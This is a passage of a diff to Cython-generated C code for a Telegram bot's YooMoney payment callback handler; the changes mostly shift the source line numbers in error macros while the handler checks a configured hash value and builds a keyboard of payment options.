__Pyx_RaiseArgtupleInvalid("process_callback_pay_yoomoney", 1, 3, 3, 2); __PYX_ERR(0, 40, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_callback_pay_yoomoney", 1, 3, 3, 2); __PYX_ERR(0, 42, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_callback_pay_yoomoney") < 0)) __PYX_ERR(0, 40, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_callback_pay_yoomoney") < 0)) __PYX_ERR(0, 42, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 3)) { goto __pyx_L5_argtuple_error; @@ -3838,7 +3843,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("process_callback_pay_yoomoney", 1, 3, 3, __pyx_nargs); __PYX_ERR(0, 40, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_callback_pay_yoomoney", 1, 3, 3, __pyx_nargs); __PYX_ERR(0, 42, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -3877,7 +3882,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_process_callback_pa if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 40, __pyx_L1_error) + __PYX_ERR(0, 42, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -3891,7 +3896,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_process_callback_pa __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yoomoney_pay_2generator, __pyx_codeobj_, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_callback_pay_yoomoney, __pyx_n_s_process_callback_pay_yoomoney, __pyx_n_s_handlers_payments_yoomoney_pay); if (unlikely(!gen)) __PYX_ERR(0, 40, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yoomoney_pay_2generator, __pyx_codeobj_, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_callback_pay_yoomoney, __pyx_n_s_process_callback_pay_yoomoney, __pyx_n_s_handlers_payments_yoomoney_pay); if (unlikely(!gen)) __PYX_ERR(0, 42, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -3944,21 +3949,21 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 40, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 42, __pyx_L1_error) __Pyx_INCREF(__pyx_n_u_HASHHASHYOOKASSA); __Pyx_GIVEREF(__pyx_n_u_HASHHASHYOOKASSA); __pyx_cur_scope->__pyx_v_expected_hash = __pyx_n_u_HASHHASHYOOKASSA; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_YOOKASSA_HASH); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 46, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_YOOKASSA_HASH); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_cur_scope->__pyx_v_expected_hash, Py_NE)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 46, __pyx_L1_error) + __pyx_t_2 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_cur_scope->__pyx_v_expected_hash, Py_NE)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_2) { - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 47, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 49, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 47, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 49, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; @@ -3979,31 +3984,31 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_kp_u__2}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 47, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 49, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 48, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 49, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_3 = PyTuple_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 48, __pyx_L1_error) + __pyx_t_3 = PyTuple_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_4); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_4)) __PYX_ERR(0, 48, __pyx_L1_error); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_4)) __PYX_ERR(0, 50, __pyx_L1_error); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 50, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_text, __pyx_kp_u_solonet_sup) < 0) __PYX_ERR(0, 50, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_text, __pyx_kp_u_solonet_sup) < 0) __PYX_ERR(0, 52, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_reply_markup, Py_None) < 0) __PYX_ERR(0, 50, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_reply_markup, Py_None) < 0) __PYX_ERR(0, 52, __pyx_L1_error) - __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 48, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -4019,12 +4024,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L5_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 48, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 50, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 48, __pyx_L1_error) + else __PYX_ERR(0, 50, __pyx_L1_error) } } @@ -4034,19 +4039,19 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co } - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_chat); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_chat); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_id); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_id); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GIVEREF(__pyx_t_6); __pyx_cur_scope->__pyx_v_tg_id = __pyx_t_6; __pyx_t_6 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = NULL; __pyx_t_5 = 0; @@ -4066,7 +4071,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 57, __pyx_L1_error) + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } @@ -4074,24 +4079,24 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co __pyx_cur_scope->__pyx_v_builder = __pyx_t_6; __pyx_t_6 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_7 = PyObject_Length(__pyx_t_6); if (unlikely(__pyx_t_7 == ((Py_ssize_t)-1))) __PYX_ERR(0, 59, __pyx_L1_error) + __pyx_t_7 = PyObject_Length(__pyx_t_6); if (unlikely(__pyx_t_7 == ((Py_ssize_t)-1))) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = PyInt_FromSsize_t(__pyx_t_7); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 59, __pyx_L1_error) + __pyx_t_6 = PyInt_FromSsize_t(__pyx_t_7); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_4 = PyTuple_New(3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 59, __pyx_L1_error) + __pyx_t_4 = PyTuple_New(3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_int_0)) __PYX_ERR(0, 59, __pyx_L1_error); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_int_0)) __PYX_ERR(0, 61, __pyx_L1_error); __Pyx_GIVEREF(__pyx_t_6); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_6)) __PYX_ERR(0, 59, __pyx_L1_error); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_6)) __PYX_ERR(0, 61, __pyx_L1_error); __Pyx_INCREF(__pyx_int_2); __Pyx_GIVEREF(__pyx_int_2); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_4, 2, __pyx_int_2)) __PYX_ERR(0, 59, __pyx_L1_error); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_4, 2, __pyx_int_2)) __PYX_ERR(0, 61, __pyx_L1_error); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_Call(__pyx_builtin_range, __pyx_t_4, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 59, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_builtin_range, __pyx_t_4, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (likely(PyList_CheckExact(__pyx_t_6)) || PyTuple_CheckExact(__pyx_t_6)) { @@ -4099,9 +4104,9 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co __pyx_t_7 = 0; __pyx_t_8 = NULL; } else { - __pyx_t_7 = -1; __pyx_t_4 = PyObject_GetIter(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 59, __pyx_L1_error) + __pyx_t_7 = -1; __pyx_t_4 = PyObject_GetIter(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_8 = __Pyx_PyObject_GetIterNextFunc(__pyx_t_4); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 59, __pyx_L1_error) + __pyx_t_8 = __Pyx_PyObject_GetIterNextFunc(__pyx_t_4); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 61, __pyx_L1_error) } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; for (;;) { @@ -4110,28 +4115,28 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co { Py_ssize_t __pyx_temp = __Pyx_PyList_GET_SIZE(__pyx_t_4); #if !CYTHON_ASSUME_SAFE_MACROS - if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 59, __pyx_L1_error) + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 61, __pyx_L1_error) #endif if (__pyx_t_7 >= __pyx_temp) break; } #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS - __pyx_t_6 = PyList_GET_ITEM(__pyx_t_4, __pyx_t_7); __Pyx_INCREF(__pyx_t_6); __pyx_t_7++; if (unlikely((0 < 0))) __PYX_ERR(0, 59, __pyx_L1_error) + __pyx_t_6 = PyList_GET_ITEM(__pyx_t_4, __pyx_t_7); __Pyx_INCREF(__pyx_t_6); __pyx_t_7++; if (unlikely((0 < 0))) __PYX_ERR(0, 61, __pyx_L1_error) #else - __pyx_t_6 = __Pyx_PySequence_ITEM(__pyx_t_4, __pyx_t_7); __pyx_t_7++; if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 59, __pyx_L1_error) + __pyx_t_6 = __Pyx_PySequence_ITEM(__pyx_t_4, __pyx_t_7); __pyx_t_7++; if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); #endif } else { { Py_ssize_t __pyx_temp = __Pyx_PyTuple_GET_SIZE(__pyx_t_4); #if !CYTHON_ASSUME_SAFE_MACROS - if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 59, __pyx_L1_error) + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 61, __pyx_L1_error) #endif if (__pyx_t_7 >= __pyx_temp) break; } #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS - __pyx_t_6 = PyTuple_GET_ITEM(__pyx_t_4, __pyx_t_7); __Pyx_INCREF(__pyx_t_6); __pyx_t_7++; if (unlikely((0 < 0))) __PYX_ERR(0, 59, __pyx_L1_error) + __pyx_t_6 = PyTuple_GET_ITEM(__pyx_t_4, __pyx_t_7); __Pyx_INCREF(__pyx_t_6); __pyx_t_7++; if (unlikely((0 < 0))) __PYX_ERR(0, 61, __pyx_L1_error) #else - __pyx_t_6 = __Pyx_PySequence_ITEM(__pyx_t_4, __pyx_t_7); __pyx_t_7++; if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 59, __pyx_L1_error) + __pyx_t_6 = __Pyx_PySequence_ITEM(__pyx_t_4, __pyx_t_7); __pyx_t_7++; if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); #endif } @@ -4141,7 +4146,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co PyObject* exc_type = PyErr_Occurred(); if (exc_type) { if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); - else __PYX_ERR(0, 59, __pyx_L1_error) + else __PYX_ERR(0, 61, __pyx_L1_error) } break; } @@ -4152,102 +4157,102 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co __Pyx_GIVEREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 60, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_9 = PyObject_Length(__pyx_t_3); if (unlikely(__pyx_t_9 == ((Py_ssize_t)-1))) __PYX_ERR(0, 60, __pyx_L1_error) + __pyx_t_9 = PyObject_Length(__pyx_t_3); if (unlikely(__pyx_t_9 == ((Py_ssize_t)-1))) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = PyInt_FromSsize_t(__pyx_t_9); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 60, __pyx_L1_error) + __pyx_t_3 = PyInt_FromSsize_t(__pyx_t_9); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_1 = PyObject_RichCompare(__pyx_t_6, __pyx_t_3, Py_LT); __Pyx_XGOTREF(__pyx_t_1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 60, __pyx_L1_error) + __pyx_t_1 = PyObject_RichCompare(__pyx_t_6, __pyx_t_3, Py_LT); __Pyx_XGOTREF(__pyx_t_1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 60, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_2) { - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 61, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 63, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 62, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 63, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 63, __pyx_L1_error) + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_text); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 63, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_text); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 63, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 64, __pyx_L1_error) + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 64, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 64, __pyx_L1_error) + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_n_u_yoomoney, __pyx_t_12); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 64, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_n_u_yoomoney, __pyx_t_12); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 63, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 62, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 66, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); - __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 67, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) 